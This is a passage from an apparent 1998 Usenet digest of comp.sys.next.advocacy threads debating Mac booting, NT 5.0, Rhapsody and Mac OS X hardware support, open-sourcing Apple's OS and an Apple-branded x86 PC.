Server?
Yes.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: Mac booting (was: APPLE"S MINDSHARE SKYROCKETING!)
Message-ID: <rbarris-ya023280001108981516450001@206.82.216.1>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c1.22951144@news.iafrica.com> <gmgraves-0808981534410001@sf-usr1-24-152.dialup.slip.net> <35cd6ebe.86957801@news.iafrica.com> <1ddloab.11gepy1krlth6N@hoorn52.multiweb.net>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Tue, 11 Aug 1998 15:16:45 -0700
NNTP-Posting-Date: Tue, 11 Aug 1998 15:14:33 PDT
In article <1ddloab.11gepy1krlth6N@hoorn52.multiweb.net>,
ERASE.this.dennis.scp@multiweb.nl (Dennis SCP) wrote:
> <cquirke@iafrica.com> wrote:
>
> > >> What might be impressive is if you can boot off the CD-ROM without any
> > >> reference to the HD at all (i.e. can remove the HD, still works) for
> > >> debugging and virus cleaning purposes. I've heard this is possible,
> > >> and that would be a major advantage...
> >
> > >Get ready to be impressed. That's exactly how it works.
> >
> > I was, and am! ;-)
I don't understand why this is such a big deal. A SCSI block device is
a SCSI block device, right? This would explain why the Mac can also boot
off of optical drives, Syquest/Zip/Jaz carts, and the like. It's the same
logical interface in all of these cases, the ROM reads the partition table
from the media and looks for a boot block.
(OK fine all the internal stuff is ATAPI on Mac now, still they only use
the LBA addressing mode, essentially the same as SCSI)
Rob
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 11 Aug 1998 21:25:44 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6qqcso$a4d@newsb.netnews.att.com>
References: <6qqbvq$a1b@newsb.netnews.att.com>
Originator: gupta@tlctest
Sorry if I seem to be in a monologue on this topic, that
may not seem very relevant to the advocates of another OS.
(I happen to think that it is very relevant -- people on NT
will be soon looking for another OS for their Intel hardware
if my prediction comes true. It is better therefore to
anticipate, and, e.g., to make "A Modest Proposal" happen,
than to miss the opportunity).
http://www.winntmag.com/Magazine/Article.cfm?IssueID=26&ArticleID=289
titled "NT 5.0 Gets Better and Better - Mostly"
gives some insight into what is happening with NT 5.0.
The author writes " Most attendees of Microsoft's Professional
Developers Conference (PDC) in September [1997] probably didn't expect
to see many new Windows NT 5.0 developments. I certainly didn't
because of the numerous developments Microsoft revealed at last
year's [1996] PDC. But Microsoft surprised the 7000 attendees
with a healthy dose of new capabilities"
[ i.e., red alert for any software project manager -- creeping
requirements and features.]
After a description of a long list of new features, the author
writes : "Is Microsoft Up to the Challenge ?"
...
"At this point, Microsoft's marketing prowess has all but
guaranteed that NT will be a major desktop operating system in
the 21st century .... But NT 4.0's quality problems and the
ill-fated Service Pack 2 leave open the question of whether
Microsoft's development prowess is up to the NT 5.0 challenge.
Though no one can answer that question yet, I saw a disturbing
trend at the PDC that might indicate Microsoft is not ready.
More than half the demonstrations I saw on the first day failed.
The demonstrations did not fail because of unsound technology.
They failed because the Microsoft representatives did not take
a few extra minutes to actually try the demos before attempting
them in front of 7000 potential customers. NT 5.0 is enterprise
software, and it can't be sold like Monster Truck Madness."
[ I'm not so sure that it is sound technology. I presume
MS reps. followed the same procedures they've followed in the
past, when things mostly worked. ]
-arun gupta
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: Tue, 11 Aug 1998 23:25:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qqjt3$lil$1@nnrp1.dejanews.com>
References: <35d1c638.1269194@news.icx.net> <35d05d98.0@news.depaul.edu> <6qpub6$8oo@newsb.netnews.att.com> <35d082db.0@news.depaul.edu> <6qq6f7$9hd@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> The point is that if a command-line interface ships as a standard
> part of future Apple OSes, then some vendor or the other (Microsoft?)
> will do something that forces the user to use the command-line;
> this even though providing a GUI may be easy, e.g., Rhapsody DR 2.
> It would be nice if the market would weed out such a vendor, but
> that is unlikely.
Frankly, I don't understand this fear. If you detest CLIs so much, simply
refuse to use any app that requires it. Maybe it'll cause that app to fail in
the market, maybe not. But either way, YOU won't be using it, so what do you
care?
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Message-ID: <1998081123061400.TAA09151@ladder01.news.aol.com>
Date: 11 Aug 1998 23:06:14 GMT
Organization: AOL http://www.aol.com
References: <6qphku$333$1@nnrp1.dejanews.com>
Another point which I failed to mention is that having a local version of a
reference available does not preclude having a 'net enabled access to updated
information.
Encarta and most of the other major encyclopedia programs do this already, and
have for a while--I see it as less useful for a dictionary/thesaurus, but still
valid after a fashion.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: wmoss@maclink.net (William Moss)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: Tue, 11 Aug 1998 22:20:39 -0400
Organization: ISPNews http://ispnews.com
Sender: mac@ip66.atlanta5.ga.pub-ip.psi.net
Message-ID: <wmoss-1108982220400001@ip66.atlanta5.ga.pub-ip.psi.net>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <29568-35CE1A48-42@newsd-123.bryant.webtv.net> <6qn8v6$3vt4@onews.collins.rockwell.com> <forrestDELETE-THIS!-1108981255430001@term4-17.vta.west.net>
NNTP-Posting-Date: 12 Aug 1998 02:15:39 GMT
In article <forrest-1108981255430001@term4-17.vta.west.net>,
forrest@west.net (Forrest Cameranesi) wrote:
> AppleScriptable HTML documentation, which approximates the functionality
> of AppleGuide but in a standard format as opposed to Apple's proprietary
> formats.
Yes, they are adding HTML based help. It looks like it'll be aimed at
lengthy, cross-indexed help sources (online manuals for example).
But for interactive help AppleGuide is not going away. It will still be
there and still do context sensitive user prompting (with the big red
magic marker).
Baloon help will still be there as well. Though I heard that they were
considering adding Tool tip type help at some point (OS X timeframe?).
William
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com>
Message-ID: <j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com>
Date: Wed, 12 Aug 1998 02:26:23 GMT
NNTP-Posting-Date: Tue, 11 Aug 1998 19:26:23 PDT
Organization: @Home Network
In <35D0BB31.C59D68BD@ericsson.com> Michael Peck wrote:
> rr6013@yahoo.com wrote:
>
> > I don't expect Apple to follow Sun's Scott McNealy leadership by
"OpenSource"
> > MacOS X since Sun had nothing to lose and much to gain by attracting "PC"
> > users. Apple, on the other hand, has much to lose and little to gain by
> > putting out the "OS for Free" sign on its trademark Macintosh brand.
>
> ...according to Apple, you mean.
>
Yeah, as currently configured...
> > The
> > whole concept of running Macintosh on a PC is an oxymoron.
>
> Again, this is the complaint we always hear by way of excuse. Some
> people believe that without smashing this notion, Apple will be dead
> shortly. Some of these people actually believe that Apple could survive
> the smashing of its brands, notions, and shibboleths. Most of them don't
> think Apple will ever do it, though. The last person with the balls to
> try it was ousted.
>
Heh, Apple built the brand ±€Job's deified it. SJ sacrificed his NeXT
hardware business to appease the PC gods once... NeXT survived that paradigm
shift. Do you think he'd do it again? Aside from the historionics, I firmly
see this as only _one_ way out of the box they've built for themselves. And
as for precedent, the last person to try it wasn't Steve Jobs... (jokes about
god aside) :-)
> > The very act a
> > knife in the belly of Apple's bottomline. It'd bleed red ink faster than
did
> > the Clones.
>
> This is only believed at large because, in my opinion, most Apple fans
> *want* to be duped.
>
History bears your opinion invalid. Clones convinced many, many "duped"
Apple fans that the best hardware wasn't coming from Cupertino. So great was
the clone ground swell from duped Apple fans that evil clones were decreed
dead. And so it was...
> Sun has sold clones successfully for years and never
> had to abandon either its standards of quality or its ability to excel
> in a mind-blowingly competitive performance market. Now that Sun is
> giving its operating system away to non-commercial users, I'm
> well-prepared to hear all the excuses for why Apple must instead
> continue to exist in a fantasy world.
>
>
Agreed. But as New Yorkers are fond of retorting to non-NY©ers complaining
about the many faults of the Big City. " But, Its ours"! That Pride of
Ownership... is the fabric of Apple's brand. Once you think different its
pretty small leaps to disassociative cognition...
"Open Source" poses a potential threat to Apple by turning "Pride of
Ownership " tangible. Phoof, goes the fantasy. Consciousness is outed and
the duped must rationalize their commitment to their fantasy. Clones
attacked the Apple brand "store of value". Given better performance and
better prices the Apple brand couldn't hold marketshare on features alone.
Open Source challenges the very "currency of the brand" by nullifying price
in exchange for full equity. Free Trade prospers as stakeholders contribute,
share, exchange and build equity. A parallel marketspace develops.
Can Apple live in both worlds?
-r
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: new iMac spin
Date: 12 Aug 1998 03:03:10 GMT
Organization: Michigan State University
Message-ID: <6qr0le$eg8$1@msunews.cl.msu.edu>
References: <6qq9p0$9hn$1@vixen.cso.uiuc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: stwillis@ews.uiuc.edu
In <6qq9p0$9hn$1@vixen.cso.uiuc.edu> willis sean timothy wrote:
> Take a look at:
>
> http://www.apple.com/hotnews/features/imacfactory.html
>
>
> Seems as though Apple doesn't want people to get the wrong impression
> about production capabilities.
>
Yeah well I didn't get any impression. Sure 24/7 production - but how
many
units are being produced in that factory, and in general. A press
release
that is all but informative.
Seems like just a press hype rather than a informative article saying
this is how many we are producing now..
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
References: <cgunalan-ya02408000R0708981934510001@news.pacific.net.sg> <1998080801024400.VAA01253@ladder01.news.aol.com> <trmp-0808980049440001@ptp28.sopris.net> <ExHBJ2.In8@T-FCN.Net> <6qo7s2$jkg$2@lwnws01.ne.highway1.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35cfe0c8.0@nnrp1.news.uk.psi.net>
Date: 11 Aug 98 06:12:24 GMT
John Kheit <jkheit@mediaone.net> wrote:
>maury@remove_this.istar.ca (Maury Markowitz) wrote:
>> More to the point, consitance OpenStep isn't. In some cases
>> a double click
>> is responded to as two single clicks (items in the shelf). The
>
>I'm not aware of that instance. Might it be that you need to adjust your
>double click timings under Preferences.app? Or could you point out when that
>happens, just curious.
Nope - He's talking about the fact that a single click on a folder on the shelf
opens that folder in the browser window beneath the shelf.
This IS an inconsistency - it's (mostly) harmless, but a little unexpected.
I usually double click on shelf items out of habit, even though a single click
would do exactly the same job.
To be consistent - a single click on a folder on the shelf would merely highlight
it while a double click SHOULD be required to open it.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
From: jbg@sdc.cs.boeing.com (Jim Glidewell)
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <jbg-1108981259520001@green.sdc.cs.boeing.com>
Sender: nntp@news.boeing.com (Boeing NNTP News Access)
Organization: The Boeing Company
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <joe
Date: Tue, 11 Aug 1998 19:59:31 GMT
In article <joe.ragosta-1008980827320001@wil81.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> Maybe you ought to read the thread, then.
I have...
> Someone was arguing about how terrible Apple is because Mac OS X won't run
> on pre-G3 machines (maybe). I pointed out that MS also brings out
> technologies which orphan previous machines.
Defending Apple's actions by saying that their behavior is no worse than
Microsoft's is no defense at all, IMHO...
YMMV.
In terms of insult to faithful Apple customers (I've owned and used Macs
at home for >10 years), I think that this Rhapsody/Rhapsody Server/OSX/G3
shell game ranks right up there.
To the best of my knowlege, Apple's last public statement on this matter
was that _only_ G3 Powermacs would be supported by OS X. Unless you want
us to base all of our discussions on unsubstantiated rumors about
_possible_ support for other Macs, I suggest you drop the "(maybe)"
out of the above argument as well. According to Apple, non-G3 Powermacs
will *not* be supported. Period.
If it turns out that Apple prices Rhapsody Server for roughly the same
price as OSX, a lot of my personal objections will be muted. Given such
a situation, people with PCI Powermacs would have *some* alternative
to buying a whole new machine to get many of the (IMO valuable) features
of Rhapsody/OSX.
But the rumor mill has been *extremely* quiet on possible prices for
Rhapsody Server, which I interpret as a bad sign - I still expect that
Apple will price it as a "server" OS - my guess is a _minimum_ of $250,
but probably closer to $450. Prices which make it basically impossible to
justify for personal use.
I sure hope I'm wrong...
Would you support Apple's (possible) decision to price Rhapsody 1.0 at
(say) $400 and OS X at $100? And argue that such a pricing decision
would be "fair" because...
1. Only big corporations need Rhapsody features anyway
a. because crashes don't really affect ordinary users
b. just a bunch of buzzwords anyway...
c. ???
2. Apple needs to gouge existing customers because
a. they're on the verge of bankruptcy
b. Apple is primarily a hardware company
c. they need to grow market share
d. Apple is primarily a software company
e. TNSTAAFL
3. Only a fool pays attention to Apple's OS roadmap - serves you right
a. And that was last year's promise, anyway
1. Apple's a "different company" now
b. The name has changed - Apple promised "Rhapsody" support, now
it's called OS X
c. Only an idiot would believe Apple's promises anyhow
d. Apple can't afford to keep it's promises
4. It's a "server OS" - it's supposed to cost more
5. Your 9600/300 is a pathetic, slow machine, unworthy of
Apple's support at any rate
6. Apple's not a charity
7. Expecting a computer to be supported more than a year after
release is completely unreasonable anyway
8. Apple doesn't owe you anything
9. It's just too much bother to support these older machines, so it's
only fair that you pay extra
10.What do you mean, you haven't bought a G3 yet?
11.The alternative is so awful (NT), that Apple needn't bother
coddling it's (captive) user base
12.Count yourself lucky that you have any options at all...
13.Everybody else does it, so it must be OK
14.It's not near as bad as what they did to the eMate/Newton users...
15.I buy a new machine every year, why don't you?
16.Apple / MacOS needs our *unconditional* love and support
17.All Steve Jobs decisions are made "ex cathedra"... so of
course the price & strategy are perfect...
I personally think that Apple customers had a reasonable
expectation, based on Apple's public statements, that any PCI Macs
which they bought would be supported by the mainline MacOS (as well
as Rhapsody) for an interval consistent with prior Apple machine/OS
support. Perhaps the G3-only proposal is just a trial balloon, but
if it is, it is one which should be criticized, rather than cheered.
Apple has spent an incredible amount of money to acquire and develop
Rhapsody technology. An investment of this magnitude only makes sense
if that cost is spread over the greatest number of machines possible.
Leaving a very large number of recent Mac owners (which includes a
lot of Macs in multimedia and publishing outfits) out in the cold is
a bad idea. OS X on non-G3 PCI Macs will not be free, but it will
cost a pittance next to the $400 million that Apple paid for the
technology in the first place.
Apple's marketing will be in an extremely awkward position if they
try to sell Macs on the clear superiority of OS X, while at the same
time telling users with large investments in existing Apple gear that
either (1) you'll have to replace all of it or (2) OS X isn't really
that big an improvement for the average user. (1) will result in a lot
of push-back from corporate types and (2) is not only a non-starter
marketing-wise, but is also just plain wrong, IMHO.
I really don't think Apple can afford to alienate large publishing
shops with big investments in "upgradable" 8500/8600/9500/9600 boxes,
many with G3 upgrades already installed.
If these folks don't need Rhapsody features, who does?
I've got to assume, Joe, that there must be _some_ things that Apple
has done in recent years which you feel were mistakes and/or a
disservice to Apple customers. This G3-only decision is apparently
not one of them. Perhaps you could share a few of the decisions that
you personally think were wrong/customer-unfriendly on Apple's part...
--
Jim Glidewell
My opinions only.
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 12 Aug 1998 00:36:18 -0400
Organization: Manual Labor
Message-ID: <kindall-1208980036180001@nic-c41-094.mw.mediaone.net>
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <jbg-1108981259520001@green.sdc.cs.boeing.com>
In article <jbg-1108981259520001@green.sdc.cs.boeing.com>,
jbg@sdc.cs.boeing.com (Jim Glidewell) wrote:
> To the best of my knowlege, Apple's last public statement on this matter
> was that _only_ G3 Powermacs would be supported by OS X. Unless you want
> us to base all of our discussions on unsubstantiated rumors about
> _possible_ support for other Macs, I suggest you drop the "(maybe)"
> out of the above argument as well. According to Apple, non-G3 Powermacs
> will *not* be supported. Period.
Yes, and according to Apple, PowerMac G3s don't have upgradeable an CPU either.
I saw at least one emission from the rumor mill that Apple planned to
support first-generation PCI machines with Mac OS X by the end of 1999.
Of course this could be completely fabricated, but it does sound like "the
new Apple" -- underpromise, overdeliver. If the iMac does indeed turn out
to have "hidden" video port and expansion slots, it'll give a lot more
credence to the theory that this is a legitimate Apple strategy, and I'll
be more ready to believe rumors like this might actually have something to
them.
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
A makeover for your Mac every week. http://www.manual.com/tss/
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 11 Aug 1998 21:14:09 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1108982114110001@sdn-ar-001casbarp097.dialsprint.net>
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <jbg-1108981259520001@green.sdc.cs.boeing.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <jbg-1108981259520001@green.sdc.cs.boeing.com>,
jbg@sdc.cs.boeing.com (Jim Glidewell) wrote:
> In article <joe.ragosta-1008980827320001@wil81.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> >
> > Maybe you ought to read the thread, then.
>
> I have...
>
> > Someone was arguing about how terrible Apple is because Mac OS X won't run
> > on pre-G3 machines (maybe). I pointed out that MS also brings out
> > technologies which orphan previous machines.
>
> Defending Apple's actions by saying that their behavior is no worse than
> Microsoft's is no defense at all, IMHO...
>
> YMMV.
Only two small problems with this (what Joey said that is).
If MS orphans old system, So what? They dont gain from the hardware
sales, APple does, so its just a teeny weeny bit different.
2) ms is a evil monopoly. We all know this. So big smart Joey's paridigm
for how to do things is MS.
HAHAHHAHAHHAHAHAHAH
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 12 Aug 1998 03:42:45 GMT
Organization: Michigan State University
Message-ID: <6qr2vl$eg8$2@msunews.cl.msu.edu>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com>
<j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: rr6013@yahoo.com
In <j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> rr6013@yahoo.com
wrote:
> In <35D0BB31.C59D68BD@ericsson.com> Michael Peck wrote:
> > rr6013@yahoo.com wrote:
> >
> > Sun has sold clones successfully for years and never
> > had to abandon either its standards of quality or its ability to
excel
> > in a mind-blowingly competitive performance market. Now that Sun is
> > giving its operating system away to non-commercial users, I'm
> > well-prepared to hear all the excuses for why Apple must instead
> > continue to exist in a fantasy world.
> >
> >
>
> Agreed. But as New Yorkers are fond of retorting to non-NY©ers
complaining
> about the many faults of the Big City. " But, Its ours"! That Pride
of
> Ownership... is the fabric of Apple's brand. Once you think
different its
> pretty small leaps to disassociative cognition...
>
> "Open Source" poses a potential threat to Apple by turning "Pride of
> Ownership " tangible. Phoof, goes the fantasy. Consciousness is
outed and
> the duped must rationalize their commitment to their fantasy. Clones
> attacked the Apple brand "store of value". Given better performance
and
> better prices the Apple brand couldn't hold marketshare on features
alone.
> Open Source challenges the very "currency of the brand" by nullifying
price
> in exchange for full equity. Free Trade prospers as stakeholders
contribute,
> share, exchange and build equity. A parallel marketspace develops.
>
> Can Apple live in both worlds?
>
Now I don't want this to turn into some kind of flame war
but I think they can. Check out my post to rhaptel
titled
OpenMach Proposal - some thoughts - Analysis of Apple's situation.
Solutions
http://www.of.org/rhaptel/archives/0473.html
With OS's free and widely available people can pick and choose their
hardware for the best price/performance/features and not necessairly
because of the OS.
If Apple is going to focus on selling hardware I think they should
seriously consider a modest 2-4 model x86 line that emphasizes
MultiOS compatibility and add that to the PPC lines. Think
about it. The Mac folks that are even thinking of moving to
x86 - think they'd buy a Apple branded PC with built with
decent off the shelf components if properly priced?
Now tell me how that will eat into PPC sales? PPC either
stands on its own merits or it will fail on them - if Apple
thinks YB/MacOS X will sell PPC they will be quite
dissappointed. If PPC can indeed compete on a
price/performance feature basis with other hardware
then it will be sucessful. If not forcing YB on it will
only take YB and ultimately Apple down with it.
Apple very much has to get this anti-Intel streak out of
their system. Put MacOS X on it, sell some PC's as long
as you can get 15-25% margins along with it's value
added I see no reason why it couldn't work.
BTW: There is a definate void of large companies that
will sell systems that are multiOS compatible - even to
the point of selling systems with the OS's preinstalled.
I'd love to see the face on the person at MS who'd get
the phone call.
"I see your an Apple purchase rep - and you want
to know how much 20K units/month each of win98 and NT5
cost."
"Yes this isn't a joke - please quote me a price - and
let me know what kind of tier structure for quantity unit
ordering we can expect"
"Are you kidding - since when is Apple selling MS
products"
"Since we announced a line of x86 MultiOS compatible
machines, and BTW I'm not kidding"
:)
So what would you say to an Apple branded PC that
could run Linux/OpenMach/95/98/NT4/NT5/Openstep/NeXTStep/Solaris
FreeBSD/NetBSD, that was made from off the shelf components
assembled tested and had the Apple brand on it, and cost only
slightly more than comparable PC's?
I would say if Apple moved OpenMach (aka MKbsd) with MKLinux
into the open-source community. Made a decision to port YB
to OpenMach, and at least MKLinux/Linux I think heads would
turn - and the money would flow.
But what do I know. An Apple branded x86 PC - Heresy!
Then again - it really would be "Thinking Different" and probably
would scare the hell out of the PPC folks though if they could
get MacOS X on a PC that was just PnP like the Mac what
does it matter what hardware that Apple produces as long
as it has decent quality.. If PPC is so much better having
a x86 PC is a natural in to PPC especially if they like and
use YB.. The way I see it a x86 PC in Apple's lineup could
do nothing but boost overall hardware sales and open up
markets to hardware that were previously in accessible.
Development costs - Virtually none if they use off the shelf
components and make quantity deals with the manufacturers
like all the other big players do. This would be perfect for
the consumer end since Apple doesn't seem to be interested
in doing big iron servers AFAI can tell.
just my .02c
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
From: earle @ geocities . NOSPAM . com (Earle F. Philhower, III)
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Organization: Spammer Murderers Anonymous
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <joe <jbg-1108981259520001@green.sdc.cs.boeing.com>
Date: Wed, 12 Aug 98 04:09:58 GMT
Message-ID: <35d11510.0@news3.ibm.net>
In article <jbg-1108981259520001@green.sdc.cs.boeing.com>,
jbg@sdc.cs.boeing.com (Jim Glidewell) wrote:
>In terms of insult to faithful Apple customers (I've owned and used Macs
>at home for >10 years), I think that this Rhapsody/Rhapsody Server/OSX/G3
>shell game ranks right up there.
..
Please preface everything with IMHO. I paid my way thru college writing
Mac PCI device drivers so don't have anything against Macs per se...
As someone looking into getting a Mac for my (teeny weeny) shareware
business may I suggest another reason Apple would not want to support
Non-G3 original machines?
To kill the used market, where you can get a perfectly serviceable
Apple (or clone!) 603/604 for around $600. These machines run 99.9%
of apps _home_ users need (sure, they don't Quake along at 75FPS or
do 8.5x11x600dpi PhotoShop colorspace conversions in a blink), but
don't make Apple a red cent, 'cept for the $40-$100 for a OS8.1
upgrade.
If instead you can make them spend $1300+sales tax on a "non-expandable"
(okay, USB...) iMac, or better yet $1800-$2500 on a G3 desktop, it
does add to their bottom line.
Only problem with this strategy is that a PC of approximately the same
horsepower and more expandability (vs USB iMac) for a few hundred less.
That few hundred may be the make-or-break decision for the home user...
-Earle F. Philhower, III
earle @ geocities.com
ZipLabel - cdrLabel - JzLabel - SQLabel - FlpLabel - LSLabel
http://www.ziplabel.com <----- *new* *neat* *spiffy*
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
References: <6ogco6$8ma$1@hole.sdsu.edu> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <jbg-1108981259520001@green.sdc.cs.boeing.com> <kindall-1208980036180001@nic-c41-094.mw.mediaone.net>
Message-ID: <35d12ca0.0@news.depaul.edu>
Date: 12 Aug 98 05:48:16 GMT
In comp.sys.next.advocacy Jerry Kindall <kindall@mail.manual.com> wrote:
> I saw at least one emission from the rumor mill that Apple planned to
> support first-generation PCI machines with Mac OS X by the end of 1999.
> Of course this could be completely fabricated, but it does sound like "the
> new Apple" -- underpromise, overdeliver. If the iMac does indeed turn out
> to have "hidden" video port and expansion slots, it'll give a lot more
> credence to the theory that this is a legitimate Apple strategy, and I'll
> be more ready to believe rumors like this might actually have something to
> them.
The problem with the rumor is that this could consist of
'unsupported support'. It *might* run on certain machines, but
Apple won't support it on those machines. A better way of
describing it is 'unsupported compatibility' - gets rid of
the ambiguity.
If this happens, Apple promises just PowerMac G3 support, and
gets to minimize support costs for the old machines. Some users
still get to run it on their old machines anway. If it doesn't
work on a particular machine, Apple can just say "sorry, get a
PowerMac G3 like we told ya a year ago" and isn't liable for
anything.
Some people would be quite happy with this, because they'd be
getting more than they'd expected. Other people would
be pissed, especially if it *mostly* works on their machine.
--
Note: email to this address goes to /dev/null
